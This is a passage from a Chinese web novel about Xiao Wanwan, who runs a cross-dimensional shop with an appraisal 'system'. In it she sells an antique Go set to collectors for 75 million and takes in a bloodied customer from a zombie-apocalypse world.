“喏，坐那睡着了。”柳如烟捣了捣她胳膊，指向木绣球树下的石凳。 萧妧妧这下是真看不懂了，她是开古董铺，不是图书馆不是钟点房，怎么跑这儿来消磨时间？ 再一看，地中海男人连打盹都紧抱公文包不撒手，萧妧妧的好奇心蹭蹭涨。 她调出系统，对准男人怀里的公文包扫描估价。 【叮~本月免费估价次数剩余二十次，是否继续估价？】 萧妧妧一脸懵，估价竟然还限制次数？ 【尊敬的萧妧妧女士，您是本交易系统尊贵的三级用户，每月可获得三百次免费估价，超出后按估价商品价值收手续费，收费标准为：所估商品价值*30%，费用以当前位面货币结算。 四级用户可获得六百次估价机会，五级用户不限估价次数】 萧妧妧叉着腰，暗道：好啊，原来在这里等着呢。 30%的手续费，它怎么不去抢啊！ 心里骂骂咧咧好一会，萧妧妧冷静下来，懊恼叹气。 刚得到新功能，她一时没控制住，先是给店铺的古董们估价，再是去两个交易市场浪了一圈，期间还多次用估价功能扫描了有的没的。 不知不觉，她就用掉了将近三百次估价机会。 萧妧妧安慰自己，三百次挺多的，这个月情况特殊，用得快很正常，后面省着用足够了。 她转头去看面板上的升级进度条。 进度条显示的是当前的交易次数，扣除升级耗费的次数从零累积，之前以为功能够用，一时半会又很难升级，便没仔细看过，这一眼看过去，萧妧妧只有绝望。 进度条在面板最下方显示，比她命还长，而交易数量则以填涂方式体现在完整进度条上，萧妧妧乍一眼看过去什么都没有，不断放大画面，才看到头发丝粗细的进度。 萧妧妧没脾气了，果断放弃估价。 眼看着地中海男人要打呼，萧妧妧不得不拍了拍他肩膀。 “先生，您要不要先回去休息休息？小店该关门了。” 地中海男人瞬间惊醒，他警觉地抱紧公文包，瞳孔涣散几秒，很快看清面前的是古董铺老板。 抬头，天上铺满霞光，天际隐约看见青黑，竟是等得睡着了。 地中海男人搓了一把脸，面色窘迫地起身，“老板，您的铺子明天还营业吗？” 萧妧妧笑容微僵，咋，还要预约明天过来午睡？ “正常营业。”萧妧妧顿了两秒，礼貌回答。 算了，看着不像是来捣乱的，就当是捧个人场吧。 古董铺开业两天，客人少得可怜，萧妧妧想过要不要在门牌上贴个号码，变成预约制。 这一天天守在铺子里，挺无聊的。 送走柳如烟，小卖部只剩下她一人，萧妧妧检查门窗，把贵重古董藏进空间，赶在天黑透前回到春山居。 难得，云昭昭晚上没去兼职，抱着腿在院中秋千椅上荡啊荡。 萧妧妧一蹦一跳的进来，随口问道：“怎么愁眉苦脸的？出什么事了？” 云昭昭挪了挪屁股，让出一半的位置，萧妧妧坐下，脚跟蹬地，秋千椅载着两人晃悠起来。 “妧妧姐，你说我要送什么生日礼物给黎行墨呢？” 萧妧妧不假思索：“送你自己。” 云昭昭闹了个大红脸，拖长音调：“妧妧姐！我是认真的，黎学长生日撞上七夕节，听说那天要办宴会，我……” 云昭昭想到黎行墨几次明示暗示，讲述自己有多期待生日礼物以及情人节礼物，云昭昭就有多头大。 萧妧妧思索了一会，诚恳语气道：“我也认真的，他不缺钱不缺东西，最期待得到的，只有你了吧？” 萧妧妧嘿嘿笑：“认命吧，你们限制文小情侣不需要花里胡哨的东西。” 云昭昭茫然无助地眨动大眼睛，好像听懂了什么，又好像没听懂。 她小声说：“可是学长生日过后，不到一周是季随的生日……” 萧妧妧秒懂了她的未尽之意，这是怕端不稳水，闹得后院起火。 萧妧妧无能为力，她辅导过的舍友是1V1选手，1V2她没经验啊。 “季随说他在筹备拍电影，生日过后会忙起来……总之，他好像也很期待我的礼物，”云昭昭愁得头秃了，“可我根本不知道怎么办。” 萧妧妧眼睛一亮，“我倒是有个主意。” 云昭昭扭头看过来。 萧妧妧眼珠子转了又转，越想越可行，趴在云昭昭耳边出主意。 云昭昭浅听了前半句，欣喜了一会，很快露出迟疑神色。 “可是，这应该算是妧妧姐给他的礼物，和我没有关系啊。” 萧妧妧晃了晃手指，纠正道：“我和季随可没有任何关系，为什么要送他礼物？这都是你的功劳啊。” 云昭昭转念一想，话说的没错，但…… “不行不行，这太让妧妧姐破费了，”四下无人，云昭昭凑过去低声说：“季随这人可不正经了，不像是会拍电影的样子，我担心妧妧姐会亏本。” 云昭昭满脸恳切，“不过一个生日礼物，我再想想，妧妧姐犯不着冒这个风险。” 萧妧妧没忍住，捧起云昭昭略带婴儿肥的脸蛋狠狠揉搓一把，“昭昭你真可爱！” 揉够了，萧妧妧掏出手机搜索季随的资料，递到云昭昭面前示意她看。 “放心吧，不止是因为你。季随虽然名气不大，但确实是年轻一代导演里比较有思想有风格，关键是有能力的导演。 你看，这是他上一部拿奖的影片，我挺喜欢的。我看好他的才华，所以我想提前投资买股。 怎么样？这样你还要不要帮忙牵线搭桥？” 云昭昭捧着手机，专注地浏览网页。 这是季随的另一面，她不了解的一面。 不管是他的工作，他从事的行业，包括他的理想他的坚持，以及他的作品，云昭昭像是认识了另一个季随。 萧妧妧分享网页链接给她，“回去慢慢看，再考虑考虑我的提议？” 云昭昭意识到自己看呆了，脸颊微红，认真地点点头。 夹带私货，顺带为自己谋到福利，萧妧妧神清气爽，背着双手美滋滋回房间。 【作者有话说】 感谢读者“小星星”,灌溉营养液+1ORZ 79 第79章 ◎有元人果然很有元◎ 喜鹊拍着翅膀跳上枝头,叽叽喳喳个没完。 萧妧妧推开窗，惊扰了老槐树上排成队的鸟雀，扑棱棱振翅飞走，留下了短暂的清净。 木质家具摆件增多,又堆放了不少上年份的老物件,密闭一晚的古董铺充斥了陈旧气息,正好趁着早晨空气清新,让古董铺散散味。 鸡毛掸子轻轻扫过多宝架，浮尘在光束中如金粉飘扬,最后缓缓落地。 萧妧妧看时间早，索性连地板一起扫了。 紫砂壶沏上茶水时,柳如烟像前几天一样，早早来到小卖部。 “早啊,如烟。” 柳如烟别别扭扭了一会，用差不多问好方式回应：“早啊,萧老板。” 旁人见着她无不是跪拜伏倒,请安问安亦是战战兢兢,能不多说不多说。 萧妧妧察觉她进了院子,稍稍偏头,随口一句便转回身忙自己的事。 怠慢的举动有点新奇，还有点诡异的自由感。 柳如烟品味一会没有人盯着劝着拦着的滋味，果断玩起轮椅刷短剧。 有萧妧妧言传身教，她现在学会怎么切换软件,有沉迷修仙小说的苗头。 萧妧妧看时间来到九点，茶香飘满铺子,她催促柳如烟去前面小卖部玩。 “为什么？” 萧妧妧走到院子门口,时不时张望,抽空回话：“有客人预约上门。” 柳如烟不由移开目光，打扮随性甚至有点不讲究的萧老板，今日似乎特意装扮过。 她换上了一身棉麻质地的杏仁黄连衣裙，裙子宽宽松松罩在身上，裙长及踝，轻薄布料随脚步飘荡，宽大的袖口只到小臂中央，露出的纤细手腕上，绿松石手串和象牙手串相互纠缠，随手臂动作发出细微的哗啦撞击声。 一向圆滚滚的道姑头变了个样式，用珍珠发簪绾在脑后，绾不住的乌黑发丝顺着滑落，搭在肩头，温婉又明媚。 柳如烟多看一会她的妆容，撇撇嘴，抱起平板进了小卖部。 萧妧妧想给许年华发消息，问问他还有多久来，才摸出手机，许年华领着两人出现在月牙巷口。 “张老板，这位是我要给您介绍的萧老板，不破斋就是萧老板的生意，您别看她年纪轻，本事可不小，最近在网上可火了。” 许年华在人前是热热闹闹的性子，双方一碰面，做为中间人的许年华忙不迭为大家介绍。 只听许年华描述，萧妧妧想象中的张老板应该是个暴发户，附庸风雅收藏古董的那种精明商人，一见面才知道她冒昧了。 张老板年纪不大，四十来岁，穿着打扮可以说平凡，常规的深色T恤配大裤衩，脚上一双塑胶拖鞋。 “萧老板，这位就是张老板了，南市收藏圈数一数二的人物，家中藏品无数。” 打扮虽普通，张老板的气质可不像普通人，萧妧妧端起古董铺老板娘的气势，礼貌微笑，伸出手寒暄。 “这位可了不得，业内闻名的古董修复师，也是张老板的忘年交，兼收藏顾问，我们都叫他林教授。” 萧妧妧转身面向另一位头发花白的大爷，看他一身洗得泛白的旧衣服，和巷子口树下乘凉的邻居阿伯没什么区别，竟然是专业人士。 “欢迎张老板，欢迎林教授。”萧妧妧笑吟吟地请他们进院子。 带了人来才说明是真心想买东西，萧妧妧对这笔交易更有信心了。 请他们在乌木嵌螺钿石英圆桌边落座，茶水温度适中，萧妧妧一手执壶斟茶，不动声色地显露顾景舟的款识。 许年华本没当回事，端起茶杯时眼睛一瞄，忽觉不对劲，马上挪回去细看。 他“咦”了一声，勾着脖子，脑袋随着茶壶摆动。 “这是……是顾景舟的紫砂壶？”许年华惊诧地问。 他问出口的瞬间，坐在另一边的林教授掏出衬衫口袋里的眼镜，跟着勾起脖子看。 市面上已经许多年没见过顾景舟的作品了，早些年冒出来的几套有了主，根本不在拍卖行流通，便是有心想要收藏，也没那么容易寻到。 如果是真品，那可非同小可。 萧妧妧嗯了一声，淡然承认，“紫砂壶是非卖品，几位尝尝我这儿的茶叶如何。” 表面一副人淡如菊，其实萧妧妧心里美得冒泡了。 紫砂壶拿出来待客，可不就是为了这一刻，让见多识广的收藏家们对不破斋刮目相看。 果不其然，有顾景舟紫砂壶在前，几人显然无心品茶，张老板忙装作添茶的样子，从桌上捧起紫砂壶。 可惜了，茶叶是她从柳如烟那里薅来的，六安瓜片新茶，也是好东西呢。 林教授端详片刻，从张老板手里接来感受一下手感，不一会工夫，微不可查的对张老板颔首。 张老板顿时眼冒精光。 “老许你没说实话啊，只说萧老板有本事，哪知道是这样的本事，”张老板看向许年华，说完转头朝着萧妧妧，笑呵呵地说：“萧老板能弄来顾景舟的紫砂壶，可不是一般的本事啊。” 说着话，张老板这才仔细审视萧妧妧。 即便化着妆，打扮得有点老气，不难看出老板是年轻女性，还是漂亮的年轻女性，和他家闺女差不多的年纪。 从前可没听说过什么不破斋，张老板是最近从许年华口中得知，怕错过宝贝，又怕让人坑骗，特意拉来了忘年交掌掌眼。 这倒好，一进门就来了个大宝贝，还是有价无市的宝贝。 张老板不敢小瞧萧妧妧，只心里纳闷年轻女孩是何方神圣，背后有着什么样的背景。 他在收藏圈浸淫多年，不说经验老道，一点眼力是有的，比如他们用的桌子，坐的凳子，瞧着可都是有点来历的。 隐于闹市的古董铺有能量收来这么多宝贝，肯定不简单。 思绪转了又转，张老板面上不显，态度却肉眼可见有了变化。 相较而言，林教授倒是没那么多想法，他专心欣赏茶壶，眼底的满意快要溢出。 不仅如此，林教授的茶杯更是没空过，一杯接一杯地品味，不知道是为了六安瓜片还是为了顾景舟紫砂壶。 许年华大概是神情变化最明显的，萧妧妧能拿出珍贵的紫砂壶震住人，既是重视，也是给了大家一个安全感，更是给了他面子。 做为牵线搭桥的中间人，许年华感觉自己脸上倍儿有光，心里很踏实，不管交易最后能不能成，他没把事情搞砸。 萧妧妧错开话题：“稍等片刻，围棋在保险箱里，我这就取来给几位品鉴一番。” 给他们留出空间，萧妧妧不管他们如何打眉眼官司，从柜台里抱出礼盒送到桌上。 林教授一哆嗦，赶忙转移紫砂壶和茶杯，生怕磕着这个大宝贝。 见他如此情态，萧妧妧讪笑一声，辩解道：“林教授放心，我有分寸呢。” 她揭开礼盒，把里面几层抽屉依次抽出摊开柜台上展示。 林教授看看围棋，又看看紫砂壶，艰难地选择了几秒，转身走到柜台边。 这里阳光充足，不需要掏手电筒，棋子棋盘的品质便能看出个大概。 许年华咋舌：“萧老板，你可没跟我说是砗磲和……？” 一时半会，许年华不能确定是什么，不禁结舌。 林教授戴上手套，从绒布里捡出一粒黑子，高举起，眯着眼睛对上光线端详它。 不多会，他接上许年华的话：“是墨翠！” “几位是收藏圈的行家，逃不过您们的眼睛，确实是砗磲和墨翠，棋盘棋盅采用的是整版整料的紫檀木。” “这套围棋原先是云市的一位商人在收藏，后来辗转落到他侄女苏女士手里，我与苏女士相识许久，听说我开了一间古董店，为表支持送来了它。” 萧妧妧吹牛不打草稿，故弄玄虚给自己扯大旗，顺便洗一洗围棋的来历。 张老板是生意人，讲究挺多，嘴上虽不说，其实很在意收藏品来路，确认寄卖协议无误后，心里已经有八分满意。 许年华没想过萧妧妧有能耐弄来这么好的围棋，他以为大几百万上千万顶天了，来之前还给张老板打了预防针。 这套棋，以他的经验来看，如果能上拍卖行，不定是几千万呢。 许年华震惊得不知道说什么合适，对萧妧妧的印象拔高了一大截。 小姑娘看着不显山露水，背后挺有门路啊，一次一次惊艳到他。 萧妧妧见状，假装忙碌地退到一边，给他们留出交头接耳的空间。 林教授适时偏头，开口分析：“没错没错，东西货真价实，年份也够老，你们看棋盅上的雕纹，不管是手法还是纹样都对得上。” 张老板低声问了句有多老，林教授慢吞吞说：“比咱们三加起来都大。” 张老板盘算一番，八分满意瞬间飚到十分，顿时笑容满面。 “东西没问题，干干净净，不是刚出土的。” “你们看棋盘，保养得极好，棋子油润，有把玩过的痕迹。” “最妙的是砗磲棋子，也就是以前有那个条件，放现在，想集齐181枚可没那么容易。” “不止是不让买卖砗磲了，而是想收集纹路相似、质地均匀的砗磲化石，太难了，更显得它珍贵，以后只有涨得份。” “墨翠同样难得，你们看，玻璃种、棉絮少，杂质根本看不见。” 林教授手心里捧着一黑一白两粒棋子，一根手指来回翻转拨动他们，展示的同时口若悬河地讲解。 萧妧妧手里瞎忙活些有的没的，实则耳朵悄悄竖着听，专业人士一连串的话，她隐约听了五六成，嘴角情不自禁勾起。 张老板对古董鉴定不能说特别精通，但因玩收藏多年，积累下来的知识量可以称得上丰富，所以分辨能力并不差。 听着林教授讲解，他不由点头认同。 正规渠道，来路可考，东西足够好的前提下，买到手就没听说会亏的，随着时间沉淀，价格必定是往上涨。 多看几眼，他越发肯定东西不俗，又难得见老朋友对藏品赞不绝口，张老板心里有底了。 “东西好就成。”张老板舒心的笑了，眼底满是赞叹，他扭头嚎了一声：“萧老板，给个数吧。” 一边让萧妧妧报价，他一边一粒一粒捡棋子，务必每一个都亲眼过一遍。 萧妧妧一听，嘴角控制不住地扬起，丢下手里乱七八糟的东西，缓步走过来。 迎着他们的目光，萧妧妧缓缓伸出拳头，大家不明所以看过来等下文时，咻一下，拳头上弹出两根手指。 单位不可能是百万，更不会是亿…… 呼吸一滞，许年华瞪大眼睛，低呼脱口而出：“八千万！？” 对面三人齐齐呆愣住，萧妧妧扫了他们一眼，心虚地收回手，抹抹鼻尖。 比估价高出一倍，确实贵了些，那不是考虑到对面可能要砍价嘛。 再说，东西是实打实的宝贝，她斥巨资，花了350根小黄鱼买回来的，转手卖出去翻个一倍两倍三四倍的有什么不对吗？ 黑心肝商人是这样的。 萧妧妧挺起胸膛，微笑补充：“八千六百万。” 张老板面露迟疑，将近九千万，远超出他的预算。 但还是那句话，东西足够好，高价买不亏。 ……可还是太贵了！ 张老板的迟疑落在许年华眼中，大老板嘛，当然用不着亲自讲价，他便派上了用场。 “萧老板可真是吓我一跳，”许年华拍拍胸口，“八千六太顶了，我们认识这么久，你也送了不少东西去佳博，大家都是朋友了，价格你再让让？” 说来有趣，前面遇到的客人很好说话，问了价格，听说有优惠后直接掏钱付款，头一次被人砍价，萧妧妧有点新奇还有点不知道该说些什么。 “我做生意一向爽快，许叔介绍了张老板来，那就是自己人，八千六是给别人的价，许叔您亲自开口肯定是不一样的。 张老板许叔，你们商量商量给个价，只要别让我贴钱就成。” 萧妧妧笑容满面，嘴里好话不停，却是把难题甩给了对面。 不低于系统的预估价就好说，要是能多赚点，她也不会嫌钱多。 投资的机会眼看着要来了，她得多赚点现金好做打算。 话落，许年华和林教授纷纷看向张老板。 张老板沉吟片刻，给许年华递去眼神。 萧妧妧没去管他们，自顾自从柜台里拿出一条标价为十五万的红珊瑚手串。 大几千万的生意，不好怠慢，萧妧妧选择的是一条直径10mm的牛血红，颜色正，形状规整，无裂纹无虫洞，很拿得出手。 再贵一点她不太舍得。 萧妧妧不禁琢磨，除了价格奇高的珍贵古董，也应该多备些中档价格的小玩意，当搭头或者做人情都合适。 不能逮着苏娇娇一人薅，要不……把龙傲天放出来？ 萧妧妧在一旁胡思乱想，张老板那里终于商量妥当，依然是许年华当谈判代表。 许年华眼神安抚萧妧妧，在她期待的目光中伸出拳头，停顿一会，拳头上竖起两根手指，缓缓翻转。 萧妧妧眉梢轻挑，有元人果然很有元！ 80 第80章 ◎新来的客人◎ “七千万五百万,萧老板你看如何？” 手势翻转，恰好是数字七的样子。 许年华估摸一下，七千五是比较适中的价格。 这套围棋毫无疑问是高货，比起中档低档的货来说,高货在市场里一向抢手,有价无市。 一旦消息放出去,收藏家、猎手趋之如骛,但凡他回去犹豫一天半天，再想买下,价格要涨不说，能不能抢得到都不好讲。 不开玩笑的说,露头就秒的程度。 高货难得，买到就是赚到,这世界上从不缺有钱人。 张老板是真心想买，不愿意错过好东西,听取大家意见后,给出七千五百万的价格。 萧妧妧听到报价喜不自禁,如果以系统估价做为成本价来算,含税利润达到了70%,简直是开黑店的程度。 但看对面三人的神态，好像并不觉得这价格有多黑。 她装模作样拿起计算器，加加减减一通，长舒一口气。 “张老板压价可真狠,踩着线给价，”萧妧妧递出珊瑚手串,笑吟吟说：“成交！就七千五百万,红珊瑚手串您收着玩玩。” 张老板立刻绽开笑容,接过手串来不及细看，便客气寒暄：“萧老板果然爽快。” 签支票的时候，萧妧妧手心沁出薄汗，甚至不着痕迹的在背后擦了擦才敢接下支票。 “萧老板的古董铺不简单啊。”林教授自己闲着无聊，背起双手在铺子里溜达。 进门时只粗略扫了一眼，随后注意力全落在紫砂壶上，倒是没怎么细看店铺里的其他古董。 柜台、橱窗、多宝架……甚至门廊附近的桌椅，仔细一看，都很有讲究。 等他去看标牌上的价格，再对照实物，林教授暗暗点头，货真，价实。 他心里的满意不比张老板少，掏出手机提议加萧妧妧的月亮号。 “我和老张玩得不一样，我更喜欢翡翠，算是资深翠友，萧老板店里有好货可要记着我啊。” 林教授不太熟练地操作智能机，张老板一听，跟着递来名片，掏出手机添加好友。 萧妧妧乐不可支，三台手机碰一起，很快完成联系人添加。 大几千万说花就花，这样的客人在哪都受欢迎，萧妧妧暗暗将他们划定为VIP大客户。 看来以后要好好经营朋友圈了，多多发展回头客。 “你挑个时间，说好请你去醉月轩吃饭的，可不能食言。” 送他们离开前，许年华抽空和萧妧妧知会一声。 萧妧妧*唉了一声，晃晃手机：“谢谢许叔，回头就发过去。” 说是为了赔罪介绍这一笔生意，萧妧妧却不能一点表示没有，她还指望许年华多介绍些大客户呢。 塞红包是个不错的选择，但是不够好，正好借这几天再考虑考虑。 张老板来不破斋的目的达成，粗略在店里逛了一圈，急吼吼要抱着宝贝回家去。 萧妧妧送他们出院子，转身才看到院子里站着一脸恍惚的刘叔。 萧妧妧动了动唇，无声示意刘叔稍等片刻，等送客人出了月牙巷，快步回到188号。 “刘叔，您怎么来了，坐啊。” 萧妧妧想不到刘叔为什么突然上门，两家挨得近，但很少串门，张芸管着小卖部的时候，大家偶尔会聚在一起说说巷子里的八卦。 “不用水不用水，我是来问问，你家小卖部什么时候营业啊？”刘叔摆手拒绝了萧妧妧的招待，声音飘忽的表明来意。 其实他早来了几分钟，看萧妧妧在忙生意，没人招呼他，所以在院中等了等。 这一等倒好，不仅看到那三个买家用支票付款，还让他瞧出来，他们三就是早上从豪车下来的人。 迈巴赫停在水果店不远处，他不由多看了几眼，当时只顾着腹诽，怎么坐豪车的人穿得那么简朴，不如他一个卖水果的讲究，谁知道转眼又碰上了，还是在隔壁不起眼的小卖部里。 刘叔震惊之余，一直盯着他们瞧，看看到底是来做什么的。 盯着盯着，他不淡定了，乖乖，签支票了，这得多大数额？ 刘叔问话的同时忍不住往古董铺里瞟，店里东西贵得要死，动辄几十万上百万，竟然真有人愿意买。 萧妧妧没注意到刘叔惊奇错愕神情，纳闷他怎么关心起小卖部营业的事。 “这两天顾客太多，店里存货抢没了，等把货补上再开门。”她敷衍地回应。 补到什么时候还不是她说了算？反正刚赚到手七千五百万，萧妧妧是一点不着急。 “那你可损失大了，你没看见吧？外头乌泱泱的人，社区愁死了，今天派人拉围栏，路边小道上全是卖东西的小摊子，你抓点紧，小卖部难得有这么大客流，你得把人留住啊。” 刘叔恨铁不成钢地拍大腿，提起这两天损失的顾客，就跟自己丢了生意一样难受。 萧妧妧生出一丝感动，刘叔虽然八卦了一点，爹味了一点，但是人好啊，特意上门催她开店，担心她错过赚钱的机会。 “妧妧啊，听叔的话，赶紧收拾收拾开门，卖多少是多少。 人家大老远绕过来，空着手走多不合适。 你开了门，咱们大家伙的生意都能比平时好，这两天就不行了，看你没开门，拍个照转头走了，来来去去没赚钱不说，人多还影响生意，我家老客户嫌吵得慌，不爱来了……” 萧妧妧只感动了两秒，然后决定收回她的感动。 “不倒闭小卖部是这里吗？” 萧妧妧正打算应付过去，门口又来了人，不想听刘叔的教育，她赶紧溜过去。 “对，我是小卖部老板。” 萧妧妧上下一打量，来人是两个中年女人，脖子上挂着工作证。 烫着卷发的女人得知她就是老板，声音温和些许，问道：“丫头，你家门面不能关着不营业啊，影响街区风貌。 你看看，咱们这是市中心，热门街区，要保持营商氛围，提升一下咱们街道的形象，而且人多，对街区秩序影响很大的。” 另一人补充道：“是啊，人家冲着你来的，白跑一趟不合适，回头网上传什么的都有，辛苦一下，尽早营业，要是有什么需要帮忙的，你尽管提，我们景区办公室一定配合。” 两人是景区商户管理办公室的工作人员，专门负责管理月牙巷商户，小到卫生、经营时间，大到消防治安等等，通通归她们负责。 正常经营的情况下，长时间闭店确实会引起她们的关注，她光想着躲清闲，差点忘了商管的存在。 县官不如现管，萧妧妧笑着应声，保证尽快开门，这才让她们满意离开。 刘叔等人走了才敢冒出来，阴阳怪气道：“哎呦呦，人红了果然不一样，坐办公室的都学会说人话了。” 萧妧妧没搭腔，心里一个劲点头附和。 店铺装修进货期间，商管别提多冒昧了，这个不许那个不行，这个不合规那个不能批……态度更不用提了，说出来一肚子气。 刘叔吐槽几句，嘴巴心里都舒坦了，转过身哄小孩的语气说：“妧妧啊，你要有难处跟叔说，叔给你搭把手，你到时候吆喝一下，照顾照顾叔的生意。” 萧妧妧默了默，眨巴眼睛望着刘叔：“叔，正好店里货架全空了，我一个人忙不过来，您看……” 小卖部一百来平，那一排排货架可不少，他记得开业前可是整整忙活了三天。 刘叔摸摸后脑勺，眼神飘上天，一会又落在地上，装傻道：“空了啊？那我不打扰你，你忙你的。” 然后转身就走。 萧妧妧看他飞快溜走，随后关上院门，吐出一口浊气。 “咚咚咚” 气吐到一半，敲门声响起，萧妧妧没来得及走远，转身拉开门。 “刘叔，您是要帮我……”萧妧妧看到锃光发亮的秃脑壳，顿时改口：“您又来啦，请进。” 有些意外，竟然是昨天在古董铺逛到打瞌睡的那位客人，萧妧妧不知道他姓名，暂时称他地中海吧。 地中海微微躬身，腼腆的笑笑：“您见谅，我随意逛逛，您不用管我。” 萧妧妧古怪看他一眼，让开身，请他进门。 他没去铺子里，在木绣球树下找了个角落位置的石凳坐下，两腿并拢，胳膊收紧，生怕碍着事似的。 萧妧妧更觉得他古怪，直截了当地问：“您是来等人的？” 地中海一呆，毛毛虫一样的嘴唇蠕动一会，支支吾吾说：“嗯……是，等人。” 萧妧妧看他拘谨的样子，笑了笑：“那您坐走廊下面吧，能吹到空调，这几天挺热的，别晒中暑了。” 他一身深色西装，萧妧妧看一眼就觉得热得慌，但看衣服做工精良，想不通怎么会在古董铺约见面，既然是约了人，怎么又不联系。 张芸女士教过她一句话，开门做生意不能赶客人，无心的善举说不定酿出一场机遇。 萧妧妧看在他还算礼貌客气，不影响生意的前提下，索性不管他了。 “谢谢谢谢……”地中海没想到古董铺老板挺好说话，语气真诚的道谢。 萧妧妧连连摆手，正在这时，噔噔噔脚步声传来。 “萧老板，你快来看，她是不是死了？” 柳如烟急急忙忙跑进院子里，脸上全是慌张无措以及惧怕。 死了？谁死了？ 萧妧妧一听到死字，莫名地联想到苏娇娇，心里咯噔一下。 “店里养了两条鱼，我去看看。”萧妧妧怕地中海误会，描补两句，快步往回跑。 柳如烟紧跟其后，两人前后脚进门，好巧不巧看到浑身血迹的瘦弱女人在瓷白地板上抽动。 萧妧妧瞳孔骤缩一瞬，意识到人还活着，心跳归于平静。 还好还好，不是娇娇姐。 柳如烟没见过如此血淋淋的场面，吓得大气不敢出，畏畏缩缩地躲在萧妧妧身后。 “你伤哪了？需要我帮你做些什么吗？” 人是清醒的，看见小卖部冒出两个人，瘦弱女人还知道伸手求助。 萧妧妧不指望柳如烟能搭把手了，自己上前扶着她胳膊，几乎是从地上拔起她。 女人声音嘶哑，气若游丝：“水……” 萧妧妧张望一圈，小心翼翼搀扶她坐起，忙不迭回柜台附近倒来一杯温水递过去。 女人颤抖着抬起手，虚弱地仿佛下一秒就要嘎了，萧妧妧见状索性帮她把水杯递到嘴边，缓缓倾倒杯口。 温水流淌而下，滋润了干渴的口腔，女人的眉头不自觉舒展，她下意识仰起头，身体本能的往前凑，拼命汲取更多水份。 突然的动作差点让水杯滑脱，温水在杯中晃荡几下，溢出许多，顺着她嘴角滴在身上。 萧妧妧重新稳住胳膊，等她吞咽的速度减慢，一杯水也见底了。 “哪里受伤了？我去给你准备点药吧。” 不怪柳如烟吓得魂都没了，她也太惨了点，触目惊心。 像是兜头浇下的血液浸湿了头发，干涸之后，血液凝结包裹住发丝，看不出原本发色。 脸上身上更夸张，到处布满血痕脏污，整个人说是从血池里捞出来的不过分，根本分辨不出她身上有多少伤口。 血腥味扑面而来，腥臭刺鼻，萧妧妧对着狼狈至极的女人没好意思表现出来，全程屏息喂水，差点憋晕过去。 “不是我的血……谢谢。” 萧妧妧哦了一声，放下医药箱，翻找清洁身体的物品。 帮着擦掉脑袋上的血迹，清理完脸上的污痕，一张清秀美丽的脸蛋显出原形。 不是上回那位金发碧眼的小姑娘，新来的客人。 80-90 81 第81章 ◎末世金丝雀◎ 萧妧妧陷入回想,她好像没看过什么虐文啊。 掏心掏肺都没她这么狼狈的。 “如烟，去院子里玩吧。”萧妧妧扭头支开柳如烟。 柳如烟呆如木鸡，好半天才反应过来，愣愣点头,愣愣转身,踩着飘忽的步子离开。 小卖部只剩下她们两人,萧妧妧等她喘匀了气,开口问道：“怎么称呼？” 女人支起身子，环顾小卖部一圈,好一会回应：“孟翠翠。” 萧妧妧挠头，好陌生的名字,她不记得有看过主角配角叫翠翠的小说。 “这是哪里？” 孟翠翠像找回意识一般，看清是陌生环境后,整个人戒备了起来。 萧妧妧看到她右手按在腰后，如果情况不对,说不定下一秒就能抽出一把刀。 心跳加速很快回归原位,她慢半拍想起已经打开防护功能,小卖部是安全的。 “不倒闭小卖部,我是老板萧妧妧。” 孟翠翠满脸质疑,大声辩驳：“不可能，尸潮踏平了基地……哪来的小卖部？” 尸潮？基地？ 萧妧妧恍然，原来是末世来的客人。 她确实有段时间沉迷末世文，荤素不忌。 萧妧妧简单讲解小卖部召唤条件以及经营范围,每来一位新客人就要重复一遍，早已驾轻就熟。 “你是说……这是我的金手指？”确认她没有听错后,孟翠翠神情空白,再次打量小卖部：“我可以买到一切日常生活用品？甚至可以在危险的时候躲进来？” 萧妧妧点头回应。 孟翠翠露出了不可置信的神情,她强撑着爬起，扶着长桌一点一点挪到小卖部深处。 “这算什么……我觉醒的异能吗？”孟翠翠又哭又笑。 萧妧妧终于看清了她腰后，裤腰带里别着一把匕首。 “清理一下吧，你身上血太多，会把小卖部弄脏。” 尤其她走了几步，瓷砖上留下一串血脚印，手掌撑在柜台上，同样留下了深红血手印，不仅吓人，还臭得很，萧妧妧忍无可忍提醒了她。 “抱歉……我……”孟翠翠意识到自己给人添麻烦了，拘谨地退到门边。 她望了望门后，神情呆住，萧妧妧这时想起去看结界。 “哕！” 萧妧妧可以确认了，如假包换的末世世界。 血淋淋的丧尸遍布城市每一处角落，它们蠕动、攀爬、游荡、进食……甚至捕杀人类。 孟翠翠躲在一个类似银行的办公楼，她把自己锁在柜台里。 结界外，还可以看到拍打玻璃企图钻进来的丧尸。 萧妧妧闭了闭眼，赶紧把看到的画面甩出脑袋。 “你那里，丧尸爆发多久了？”萧妧妧拍拍胸口，随口打听。 “大概是三个月了吧，”回答完，孟翠翠小心翼翼询问：“萧老板，我可以买水吗？” 她急忙补充：“我回去洗洗，不会弄脏你的小卖部。” 萧妧妧本就是做位面生意的，来者都是客，她不会拒绝，何况孟翠翠现在惨兮兮的样子，很难不生出怜悯心。 “你等着，我去给你弄洗澡水。” 鸡肋的折叠浴桶总算派上了用场，萧妧妧从犄角旮旯里翻出自己头脑发热买的玩意，扛进浴室后展开安装。 放水的工夫，她回到客房，找来换洗的备用衣服，再把洗浴用品一起打包好装进行李袋。 料想其他位面的客人进入小卖部多是遇到了难处，萧妧妧早早做了各方面的准备，生活必需品备了许多份，这才能不慌不忙。 洗澡水放满，她准备得也差不多，折叠浴桶收进空间，萧妧妧提着行李袋去了小卖部。 “萧老板……她到底是什么人啊？”刚迈出门，柳如烟不安地找来打探。 “别担心，出事了有我扛着呢……”萧妧妧见她是真有点怕，拍拍她肩膀安抚她情绪：“要不，怕的话你先回家？” 柳如烟犹豫一会，重重点头。 跟着萧妧妧进了店里，柳如烟不敢看孟翠翠，提着裙摆踮起脚，绕开孟翠翠留下的血脚印，咻一下消失在结界。 注意到孟翠翠疑惑的眼神，萧妧妧笑着解释：“来自古代位面的客人。” 孟翠翠半张着嘴：“……小卖部不止是我一个人的金手指？” “小卖部的客人来自各个时空位面。”萧妧妧简单解释两句，递去行李袋：“喏，你的洗漱用品。洗澡水已经送过去了。” 孟翠翠茫然眨了眨眼睛，有点没听懂后半句。 萧妧妧努努嘴，示意结界方向，对方不明所以地转身，随即瞪大眼睛。 “怎么说也是金手指，送货上门的服务当然不能少。” 孟翠翠大张着嘴巴，惊讶得说不出话，如果这就是她觉醒的异能，也太完美了吧。 “去吧，有什么事等你收拾好再聊。”萧妧妧催促。 孟翠翠低声道谢，即将迈过结界时顿了顿，折返回来，抽出几张湿巾把自己弄脏的柜台和地板擦干净，一点一点倒退到结界边缘。 萧妧妧看她颤巍巍的动作，生出一股压榨病号的罪恶感，不由劝了她几句。 